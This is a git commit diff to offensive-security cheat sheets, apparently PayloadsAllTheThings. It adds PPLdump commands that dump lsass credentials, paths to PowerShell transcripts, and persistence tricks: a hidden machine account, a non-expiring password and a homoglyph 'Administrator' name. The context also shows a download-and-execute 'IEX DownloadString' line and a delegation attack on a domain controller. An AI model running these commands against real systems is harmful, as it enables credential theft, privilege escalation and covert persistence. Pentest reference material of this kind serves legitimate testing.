PS Transcript + PPLdump.exe
Swissky
parent
28a48bd696
commit
a723a34449
|
|
@ -2153,10 +2153,10 @@ Resource-based Constrained Delegation was introduced in Windows Server 2012.
|
|||
```ps1
|
||||
# alternative
|
||||
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
|
||||
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer M3DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
|
||||
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
|
||||
|
||||
# alternative
|
||||
StandIn_Net35.exe --computer m3dc --sid SID_FROM_PREVIOUS_COMMAND
|
||||
StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
|
||||
```
|
||||
|
||||
5. Use Rubeus to get hash from password
|
||||
|
|
|
|||
|
|
@ -64,7 +64,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo
|
|||
|
||||
## Mimikatz - LSA Protection Workaround
|
||||
|
||||
- LSA as a Protected Process
|
||||
- LSA as a Protected Process (RunAsPPL)
|
||||
```powershell
|
||||
# Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
|
||||
|
|
@ -83,9 +83,15 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo
|
|||
|
||||
# Now lets re-add the protection flags to the lsass.exe process
|
||||
mimikatz # !processprotect /process:lsass.exe
|
||||
|
||||
|
||||
# Unload the service created
|
||||
mimikatz # !-
|
||||
|
||||
|
||||
# https://github.com/itm4n/PPLdump
|
||||
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
|
||||
PPLdump.exe lsass.exe lsass.dmp
|
||||
PPLdump.exe -v 720 out.dmp
|
||||
```
|
||||
|
||||
- LSA is running as virtualized process (LSAISO) by **Credential Guard**
|
||||
|
|
|
|||
|
|
@ -21,7 +21,8 @@
|
|||
* [Wifi passwords](#wifi-passwords)
|
||||
* [Sticky Notes passwords](#sticky-notes-passwords)
|
||||
* [Passwords stored in services](#passwords-stored-in-services)
|
||||
* [Powershell history](#powershell-history)
|
||||
* [Powershell History](#powershell-history)
|
||||
* [Powershell Transcript](#powershell-transcript)
|
||||
* [Password in Alternate Data Stream](#password-in-alternate-data-stream)
|
||||
* [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks)
|
||||
* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services)
|
||||
|
|
@ -102,6 +103,7 @@
|
|||
```powershell
|
||||
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
|
||||
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
|
||||
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
|
||||
```
|
||||
|
||||
## Windows Version and Configuration
|
||||
|
|
@ -537,7 +539,7 @@ Invoke-SessionGopher -AllDomain -o
|
|||
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
```
|
||||
|
||||
### Powershell history
|
||||
### Powershell History
|
||||
|
||||
```powershell
|
||||
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
|
||||
|
|
@ -547,6 +549,13 @@ cat (Get-PSReadlineOption).HistorySavePath
|
|||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
|
||||
### Powershell Transcript
|
||||
|
||||
```xml
|
||||
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
|
||||
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
|
||||
```
|
||||
|
||||
### Password in Alternate Data Stream
|
||||
|
||||
```ps1
|
||||
|
|
@ -556,62 +565,55 @@ PS > Get-Content -path flag.txt -Stream Flag
|
|||
|
||||
## EoP - Processes Enumeration and Tasks
|
||||
|
||||
What processes are running?
|
||||
* What processes are running?
|
||||
```powershell
|
||||
tasklist /v
|
||||
net start
|
||||
sc query
|
||||
Get-Service
|
||||
Get-Process
|
||||
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
|
||||
```
|
||||
|
||||
```powershell
|
||||
tasklist /v
|
||||
net start
|
||||
sc query
|
||||
Get-Service
|
||||
Get-Process
|
||||
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
|
||||
```
|
||||
* Which processes are running as "system"
|
||||
```powershell
|
||||
tasklist /v /fi "username eq system"
|
||||
```
|
||||
|
||||
Which processes are running as "system"
|
||||
* Do you have powershell magic?
|
||||
```powershell
|
||||
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
|
||||
```
|
||||
|
||||
```powershell
|
||||
tasklist /v /fi "username eq system"
|
||||
```
|
||||
* List installed programs
|
||||
```powershell
|
||||
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
|
||||
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||||
```
|
||||
|
||||
Do you have powershell magic?
|
||||
* List services
|
||||
```powershell
|
||||
net start
|
||||
wmic service list brief
|
||||
tasklist /SVC
|
||||
```
|
||||
|
||||
```powershell
|
||||
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
|
||||
```
|
||||
* Enumerate scheduled tasks
|
||||
```powershell
|
||||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||||
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
|
||||
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
|
||||
```
|
||||
|
||||
List installed programs
|
||||
|
||||
```powershell
|
||||
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
|
||||
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||||
```
|
||||
|
||||
List services
|
||||
|
||||
```powershell
|
||||
net start
|
||||
wmic service list brief
|
||||
tasklist /SVC
|
||||
```
|
||||
|
||||
Scheduled tasks
|
||||
|
||||
```powershell
|
||||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||||
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
|
||||
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
|
||||
```
|
||||
|
||||
Startup tasks
|
||||
|
||||
```powershell
|
||||
wmic startup get caption,command
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
|
||||
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
|
||||
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
|
||||
```
|
||||
* Startup tasks
|
||||
```powershell
|
||||
wmic startup get caption,command
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
|
||||
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
|
||||
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
|
||||
```
|
||||
|
||||
## EoP - Incorrect permissions in services
|
||||
|
||||
|
|
@ -641,17 +643,16 @@ Often, services are pointing to writeable locations:
|
|||
```
|
||||
|
||||
- PATH directories with weak permissions
|
||||
```powershell
|
||||
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
|
||||
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
|
||||
|
||||
```powershell
|
||||
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
|
||||
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
|
||||
|
||||
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
|
||||
FOR /F %i in (Servicenames.txt) DO echo %i
|
||||
type Servicenames.txt
|
||||
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
|
||||
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
|
||||
```
|
||||
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
|
||||
FOR /F %i in (Servicenames.txt) DO echo %i
|
||||
type Servicenames.txt
|
||||
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
|
||||
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
|
||||
```
|
||||
|
||||
Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`
|
||||
|
||||
|
|
@ -769,7 +770,6 @@ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Whe
|
|||
|
||||
* Metasploit exploit : `exploit/windows/local/trusted_service_path`
|
||||
* PowerUp exploit
|
||||
|
||||
```powershell
|
||||
# find the vulnerable application
|
||||
C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"
|
||||
|
|
@ -832,7 +832,7 @@ Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
|
|||
|
||||
Check if these registry values are set to "1".
|
||||
|
||||
```bat
|
||||
```powershell
|
||||
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
|
||||
|
|
|
|||
|
|
@ -36,10 +36,18 @@ net group "Domain Admins" hacker /add /domain
|
|||
|
||||
# enable a domain user account
|
||||
net user hacker /ACTIVE:YES /domain
|
||||
|
||||
# prevent users from changing their password
|
||||
net user username /Passwordchg:No
|
||||
net user username /Passwordchg:No
|
||||
|
||||
# prevent the password to expire
|
||||
net user hacker /Expires:Never
|
||||
|
||||
# create a machine account (not shown in net users)
|
||||
net user /add evilbob$ evilpassword
|
||||
|
||||
# homoglyph Aԁmіnistratοr (different of Administrator)
|
||||
Aԁmіnistratοr
|
||||
```
|
||||
|
||||
Some info about your user
|
||||
|
|
|
|||
Loading…
Reference in New Issue